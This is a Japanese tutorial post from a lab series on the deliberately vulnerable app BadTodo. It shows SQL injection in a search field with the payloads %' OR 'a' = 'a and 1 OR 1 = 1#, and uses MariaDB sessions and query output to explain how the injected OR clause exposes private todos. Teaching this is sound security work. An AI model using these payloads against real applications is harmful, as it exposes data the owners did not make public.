やられアプリ BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩

前回:やられアプリ BadTodo - 3.1 SQLインジェクション 認証の回避 - demandosigno

Todo検索画面でのSQLインジェクション

ログイン前の検索画面
補足:画像では検索窓が左寄せとなっていますが、最新のBadTodoでは右寄せになっています。

文字列testで検索。todo名「test」のtodoが一つ表示される。

次に%で検索すると一つも出ない。(%という todo名 はないため)(ここの % は LIKE と一緒に使うワイルドカードとは違う単なる置物。hogeでもなんでもよい)

しかし%' OR 'a' = 'aで検索すると、
非公開のものまで含めてすべて表示されます。それに実際には全部で4つしか登録されていないはずなのにそれ以上に増えています。
(この入力欄が文字列入力を想定しているため%' OR 'a' = 'aとしましたが、型が数値の際はクォートは不要なため1 OR 1 = 1#のようになります)

SQLクエリを見てみる(方法は前回の最下部を参照)

testと検索したときのクエリは以下ですが、

SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public
  FROM todos INNER JOIN users
    ON users.id=todos.owner
    AND (todos.owner=-1 OR '1')
    AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0)
    AND todo = 'test';

順番に見ていきます。

まず Docker の badtodo-db でターミナルを開き MariaDB にログインします。
root@badtodo-db:~# mysql -u root -p
Enter password:(パスワードはBadoTodo実習環境の目次に記載されています)
  
// DB一覧の表示
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| todo               |
+--------------------+
  
// todo DBを使う
MariaDB [(none)]> use todo
  
Database changed
  
// todo DBのテーブル一覧を表示
MariaDB [todo]> show tables;
+----------------+
| Tables_in_todo |
+----------------+
| session        |
| todos          |
| users          |
+----------------+
  
// todosテーブルを表示
MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename       | url                      | url_text       | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+
|  1 |     1 | パソコンを買う                 | 2023-08-08 | 2023-08-09 |    0 | NULL | NULL         | NULL                | NULL                     | NULL           |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-08-08 | 2023-08-15 |    0 | NULL | memo.txt     | memo.txt            | NULL                     | NULL           |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-08-08 | 2023-08-11 |    0 | NULL | NULL         | NULL                | NULL                     | NULL           |      0 |
|  5 |     3 | test                           | 2023-08-10 | 2023-08-10 |    0 | test | hacker.png   | 64d431c5-hacker.png | https://www.example.com/ | Example Domain |      1 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+
  
// usersテーブルを表示
MariaDB [todo]> select * from users;
+----+---------+--------+--------------------+------------------------+-------+
| id | userid  | pwd    | email              | icon                   | super |
+----+---------+--------+--------------------+------------------------+-------+
|  1 | admin   | passwd | root@example.jp    | ockeghem.png           |     1 |
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png           |     0 |
|  3 | test    | test   | hoge1@example.com  | 64d431846d6a9-man5.png |     0 |
+----+---------+--------+--------------------+------------------------+-------+
  
// todosテーブルとusersテーブルを内部結合。todosテーブルのownerカラムの値とusersテーブルのidカラムの値が一致するレコードが結合される。
MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner;
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
| id | owner | userid  | todo                           | c_date     | due_date   | done | org_filename | real_filename       | public |
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
|  1 |     1 | admin   | パソコンを買う                 | 2023-08-08 | 2023-08-09 |    0 | NULL         | NULL                |      1 |
|  2 |     2 | wasbook | 依頼の原稿を書く               | 2023-08-08 | 2023-08-15 |    0 | memo.txt     | memo.txt            |      1 |
|  3 |     1 | admin   | 政府高官との会食アポ           | 2023-08-08 | 2023-08-11 |    0 | NULL         | NULL                |      0 |
|  5 |     3 | test    | test                           | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
  
// 検索文字列 "test" で検索した場合。ANDで抽出条件が付加されていき下記の出力となる。
MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public
    -> FROM todos INNER JOIN users
    ->   ON users.id=todos.owner
    ->   AND (todos.owner=-1 OR '1')
    ->   AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0)
    ->   AND todo = 'test';
+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+
| id | owner | userid | todo | c_date     | due_date   | done | org_filename | real_filename       | public |
+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+
|  5 |     3 | test   | test | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
+----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+

ここで検索文字列が%' OR 'a' = 'aだったとするとSQL文が下記となります。

> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public
->  FROM todos INNER JOIN users
->    ON users.id=todos.owner
->    AND (todos.owner=-1 OR '1')
->    AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0)
->    AND todo = '%' OR 'a' = 'a';

2行目の JOIN でtodoテーブルとusersテーブルを列で合体させ、その中から ON users.id=todos.owner で user テーブルの id カラムとtodoテーブルのownerカラムが一致する行を抜き出します。
3行目以降は
-> ON users.id=todos.owner // この条件だけ実行すると検索結果は4件となる
-> AND (todos.owner=-1 OR '1')
-> AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0)
-> AND todo = '%'
-> OR 'a' = 'a';
と条件式が続き必要な行だけ抜き出していくのですが、最終行が「または 'a' = 'a'」なので、それより前がなんであれ常にTRUEとなるため全レコードが引っかかり INNER JOINで結合させたテーブル内容がすべて表示されます。(一つ目のテーブルに対して重複がある列を相手とした結合を行うと、結合前より行数が増えることとなります)

MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner AND (todos.owner=-1 OR '1') AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0) AND todo = '%' OR 'a' = 'a';
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
| id | owner | userid  | todo                           | c_date     | due_date   | done | org_filename | real_filename       | public |
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
|  1 |     1 | admin   | パソコンを買う                 | 2023-08-08 | 2023-08-09 |    0 | NULL         | NULL                |      1 |
|  1 |     1 | wasbook | パソコンを買う                 | 2023-08-08 | 2023-08-09 |    0 | NULL         | NULL                |      1 |
|  1 |     1 | test    | パソコンを買う                 | 2023-08-08 | 2023-08-09 |    0 | NULL         | NULL                |      1 |
|  2 |     2 | admin   | 依頼の原稿を書く               | 2023-08-08 | 2023-08-15 |    0 | memo.txt     | memo.txt            |      1 |
|  2 |     2 | wasbook | 依頼の原稿を書く               | 2023-08-08 | 2023-08-15 |    0 | memo.txt     | memo.txt            |      1 |
|  2 |     2 | test    | 依頼の原稿を書く               | 2023-08-08 | 2023-08-15 |    0 | memo.txt     | memo.txt            |      1 |
|  3 |     1 | admin   | 政府高官との会食アポ           | 2023-08-08 | 2023-08-11 |    0 | NULL         | NULL                |      0 |
|  3 |     1 | wasbook | 政府高官との会食アポ           | 2023-08-08 | 2023-08-11 |    0 | NULL         | NULL                |      0 |
|  3 |     1 | test    | 政府高官との会食アポ           | 2023-08-08 | 2023-08-11 |    0 | NULL         | NULL                |      0 |
|  5 |     3 | admin   | test                           | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
|  5 |     3 | wasbook | test                           | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
|  5 |     3 | test    | test                           | 2023-08-10 | 2023-08-10 |    0 | hacker.png   | 64d431c5-hacker.png |      1 |
+----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+
12 rows in set (0.000 sec)

論理演算子の優先順位

複数の論理演算子が使われている場合、(1)NOT (2)AND (3)OR の優先順位に従って処理されます。

次回:やられアプリ BadTodo - 3.3 SQLインジェクション DB情報の取得 - demandosigno

/* -----codeの行番号----- */